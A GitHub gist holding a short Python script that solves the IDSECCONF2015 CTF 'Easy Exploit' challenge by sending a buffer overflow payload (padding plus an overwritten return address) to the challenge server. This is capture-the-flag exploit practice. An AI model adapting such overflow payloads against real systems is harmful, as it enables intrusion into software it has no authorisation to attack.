Last active
August 29, 2015 14:27
-
-
Save budanthara/942b9f492e8e9e3d7c41 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# IDSECCONF2015 CTF - Easy Exploit ( 100pts ) | |
# snoww0lf - Noobs1337 | |
import socket | |
sc = "" | |
sc += 'A'*136 | |
sc += '\x16\x06\x40' | |
sc += '\x00'*10 | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
s.connect(('128.199.218.190', 17045)) | |
flag = '' | |
while True: | |
try: | |
numbers = s.recv(8192) | |
print numbers | |
flag+=numbers | |
s.send(sc) | |
except: | |
print flag |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment